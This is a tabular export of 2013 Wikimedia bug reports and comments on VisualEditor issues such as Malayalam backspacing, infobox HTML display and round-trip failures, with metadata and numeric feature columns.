%%%*** This bug has been marked as a duplicate of bug 49820 ***%%%",,,1372859187,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k3ijb4t7vtqm2fvl7dqa,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 49820 ***%%%"
247773,VisualEditor: warn on markup.,I strongly advise that this be made pretty high-priority (See above).,,,1372782236,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k3ijb4t7vtqm2fvl7dqa,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6875,1.0,I strongly advise that this be made pretty high-priority (See above).
52567,Infobox template shows HTML,"**Author:** `warnckew`

**Description:**
Screenshot showing infobox DIV HTML code

Launching VisualEditor to edit http://en.wikipedia.org/w/index.php?title=United_Nations_Security_Council_Resolution_1693&oldid=541044487 makes the heading of the infobox show some unexpected HTML contents, as shown in the attached browser screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11621}",Needs Triage,90.0,1372759800,1372781074.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-u4b7k3vc55d23eoi7lfv,task_description,resolved,True,c1,3,False,False,True,0,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.6027397260273972,"**Author:** CODE

**Description:**
Screenshot showing infobox DIV HTML code

Launching VisualEditor to edit URL makes the heading of the infobox show some unexpected HTML contents, as shown in the attached browser screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11621}"
247029,Infobox template shows HTML,"This is the same as bug 50366 - merging with that one.

*** This bug has been marked as a duplicate of bug 50366 ***",,,1372781074,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u4b7k3vc55d23eoi7lfv,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.6774193548387096,"This is the same as bug 50366 - merging with that one.

*** This bug has been marked as a duplicate of bug 50366 ***"
52566,VisualEditor: Bad typing/backspacing behaviour for Malayalam,"I have noticed an unexpected behavior while tesing Visual Editor with Malayalam Wikipedia. Describing the steps below:-

1. Added the following text on a page

ഡിസ്രയേലി

2. When pressing a backspace immediately after the above text, it becomes

ഡസരയ

ie. many characters in between the original text disappeared. The expected result was ഡിസ്രയേ

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Windows 7
**Platform**: PC
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50507",Needs Triage,90.0,1372759140,1374044478.0,PHID-USER-4jecvpv4h62htut6pxez,False,,False,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_description,declined,True,c1,3,False,False,True,0,,0.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,2.0,3.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.5,1.0,13.5,1.0,0.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,3.0,4.5,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,2.0,0.0,0.0,0.0,3.828787878787879,0.6316498316498317,"I have noticed an unexpected behavior while tesing Visual Editor with Malayalam Wikipedia. Describing the steps below:-

1. Added the following text on a page

ഡിസ്രയേലി

2. When pressing a backspace immediately after the above text, it becomes

ഡസരയ

ie. many characters in between the original text disappeared. The expected result was ഡിസ്രയേ

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Windows 7
**Platform**: PC
**See Also**:
URL"
246961,VisualEditor: Bad typing/backspacing behaviour for Malayalam,Now the problem has been solved. You may mark this bug as resolved.,,,1374044144,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9333333333333333,Now the problem has been solved. You may mark this bug as resolved.
246957,VisualEditor: Bad typing/backspacing behaviour for Malayalam,"(In reply to comment #1)
> @vssun: Any specific browser? Can't reproduce it in Chrome.

I could able to reproduce with Chrome (Version 27.0.1453.116 m)/windows 7",,,1373267447,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,13.0,0.0,4.0,17.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.9130434782608695,"(In reply to comment #1)
QUOTE

I could able to reproduce with Chrome (Version 27.0.1453.116 m)/windows 7"
246954,VisualEditor: Bad typing/backspacing behaviour for Malayalam,"The bug 50507 is very much related to this. There, the reporter says that the characters ്, െ etc are not allowed to type.

Here the case is different but the characters are same. Characters, ി, ് and േ  (the vowel symbols of malayalam, which are joined together with preceeding consonants) are disappearing when pressing the backspace.",,,1373135312,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,1.0,3.0,1.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,14.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,9.0,6.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,1.0,4.014285714285714,0.7285714285714285,"The bug 50507 is very much related to this. There, the reporter says that the characters ്, െ etc are not allowed to type.

Here the case is different but the characters are same. Characters, ി, ് and േ  (the vowel symbols of malayalam, which are joined together with preceeding consonants) are disappearing when pressing the backspace."
246948,VisualEditor: Bad typing/backspacing behaviour for Malayalam,Browser was Firefox 22.,,,1373134659,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Browser was Firefox 22.
246944,VisualEditor: Bad typing/backspacing behaviour for Malayalam,@vssun: Any specific browser? Can't reproduce it in Chrome.,,,1373134158,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,0,,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,1.0,SCREEN_NAME: Any specific browser? Can't reproduce it in Chrome.
52555,"VisualEditor: ""old version"" warning shows when opening VE after a VE edit","Steps to reproduce:
* edit a page with VE; save
* edit the same page with VE

Expected result: normal editing, no warning
Actual result: there's a warning telling the user they're editing an old version of the page

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372746900,1372747009.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-zu3q7ugqbcdtlalzbdir,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,3.7058823529411766,0.5588235294117647,"Steps to reproduce:
* edit a page with VE; save
* edit the same page with VE

Expected result: normal editing, no warning
Actual result: there's a warning telling the user they're editing an old version of the page

--------------------------
**Version**: unspecified
**Severity**: normal"
246464,"VisualEditor: ""old version"" warning shows when opening VE after a VE edit","Yeah, really sorry about this - this is bug 50441. Very high priority in getting this fixed.

*** This bug has been marked as a duplicate of bug 50441 ***",,,1372747009,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zu3q7ugqbcdtlalzbdir,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,8.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3157894736842106,0.7105263157894737,"Yeah, really sorry about this - this is bug 50441. Very high priority in getting this fixed.

*** This bug has been marked as a duplicate of bug 50441 ***"
52554,VisualEditor: Likely round-trip failure involving categories and transclusion content on [[Michala Petri]],"See http://en.wikipedia.org/w/index.php?title=Michala_Petri&diff=562483360&oldid=562482770

It looks like VE inserted categories and default sort at some random place in the DOM, potentially cutting encapsulated transclusion content in two?

The Parsoid template encapsulation and round-tripping for this page looks fine:

http://parsoid.wmflabs.org/_rt/en/Michala_Petri?oldid=562482770

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372741440,1373484208.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-c67owxdoizewmtq2qqq2,task_description,resolved,True,c1,3,True,False,True,0,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.476190476190476,0.7301587301587301,"See URL

It looks like VE inserted categories and default sort at some random place in the DOM, potentially cutting encapsulated transclusion content in two?

The Parsoid template encapsulation and round-tripping for this page looks fine:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
246423,VisualEditor: Likely round-trip failure involving categories and transclusion content on [[Michala Petri]],"

*** This bug has been marked as a duplicate of bug 50120 ***",,,1373484208,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-c67owxdoizewmtq2qqq2,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50120 ***"
246417,VisualEditor: Likely round-trip failure involving categories and transclusion content on [[Michala Petri]],"Same issue:
https://en.wikipedia.org/w/index.php?title=Richard_Mouw&curid=1175244&diff=562498507&oldid=562498198",,,1372742420,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-c67owxdoizewmtq2qqq2,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,"Same issue:
URL"
52553,"VisualEditor: Dialogs layer under the toolbar, hide close button","I've observed this myself:

Clicking ""Page settings"", or the reference, image, and category buttons in the top right brings up a dialogue box for input. To close this box there is an X in the top right. However, when I am not at the top of the page, this dialogue box pops up beneath the standard editing options. This makes it impossible to close the box without adjusting the screen magnification.

In addition, the opening of these boxes freezes scrolling of the underlying page, which not only furthers the problem above, but is also simply annoying and unnecessary, as I can no longer move to another part of the article I wish to see without closing and reopening the box. Reywas92Talk 03:00, 2 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372740840,1374878989.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-xzt7v3b2ore2q4iogeui,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,1.0,5.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.5,2.5,0.0,5.5,10.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,5.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.0,1.5,9.0,0.5,3.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,3.0,10.5,1.0,0.0,1.0,0.0,3.0,0.0,1.0,1.0,0.5,3.0,0.0,0.0,0.0,3.982429718875502,0.6947074010327022,"I've observed this myself:

Clicking ""Page settings"", or the reference, image, and category buttons in the top right brings up a dialogue box for input. To close this box there is an X in the top right. However, when I am not at the top of the page, this dialogue box pops up beneath the standard editing options. This makes it impossible to close the box without adjusting the screen magnification.

In addition, the opening of these boxes freezes scrolling of the underlying page, which not only furthers the problem above, but is also simply annoying and unnecessary, as I can no longer move to another part of the article I wish to see without closing and reopening the box. Reywas92Talk 03:00, 2 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal"
246370,"VisualEditor: Dialogs layer under the toolbar, hide close button",This was fixed earlier this month as part of the general clean up of positioning; sorry for the slow response.,,,1374878989,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xzt7v3b2ore2q4iogeui,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.136363636363637,0.9090909090909091,This was fixed earlier this month as part of the general clean up of positioning; sorry for the slow response.
52550,VisualEditor: Likely ref / transclusion round-trip failure,"This edit was flagged by VE as DOM-differing, and looks like a dirty ref/transclusion:

https://en.wikipedia.org/w/index.php?title=Abolitionism&curid=38894&diff=562492192&oldid=560500423

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372737300,1385375352.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-i5l4tj3jbqlfjjgj2xtx,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.75,0.725,"This edit was flagged by VE as DOM-differing, and looks like a dirty ref/transclusion:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
246212,VisualEditor: Likely ref / transclusion round-trip failure,Fixed in Roan's DOM dirtying fixes drive in July.,,,1385375352,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i5l4tj3jbqlfjjgj2xtx,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,Fixed in Roan's DOM dirtying fixes drive in July.
246207,VisualEditor: Likely ref / transclusion round-trip failure,"(In reply to comment #1)
> Only difference is the removal of two spaces after equals signs.

In which part of the DOM is this change? An attribute value?",,,1373928755,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-i5l4tj3jbqlfjjgj2xtx,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,20.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,16.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.08,0.92,"(In reply to comment #1)
QUOTE

In which part of the DOM is this change? An attribute value?"
246203,VisualEditor: Likely ref / transclusion round-trip failure,Only difference is the removal of two spaces after equals signs.,,,1373894262,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-i5l4tj3jbqlfjjgj2xtx,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Only difference is the removal of two spaces after equals signs.
52538,VisualEditor: Feedback form moves and jerks the screen around,"**Author:** `Shirudo`

**Description:**
While filling out the feedback form, the form jumps down the screen with every keystroke, until it's mostly out of view.  Once there, only the current line that I'm typing in is visible right above the edge, and every few keystrokes (seemingly randomly) make the entire screen jerk up and down quickly.  If I scroll down or drag the form back up so that it's centred again, it just jumps back down once I begin typing again.

If it makes a difference, I'm using Firefox 22 on Fedora 18, with Gnome 3 Fallback.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372723860,1372894536.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5jyjadx572ehzjtstm2i,task_description,resolved,True,c1,3,False,False,True,0,,1.5,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,1.5,0.5,1.0,0.0,0.5,0.0,2.5,0.0,10.5,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,0.0,0.5,0.5,0.0,0.0,9.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,0.5,10.5,3.5,2.0,5.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,5.0,10.0,3.0,0.0,0.0,0.0,5.0,0.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,3.638888888888889,0.7152777777777778,"**Author:** CODE

**Description:**
While filling out the feedback form, the form jumps down the screen with every keystroke, until it's mostly out of view.  Once there, only the current line that I'm typing in is visible right above the edge, and every few keystrokes (seemingly randomly) make the entire screen jerk up and down quickly.  If I scroll down or drag the form back up so that it's centred again, it just jumps back down once I begin typing again.

If it makes a difference, I'm using Firefox 22 on Fedora 18, with Gnome 3 Fallback.

--------------------------
**Version**: unspecified
**Severity**: normal"
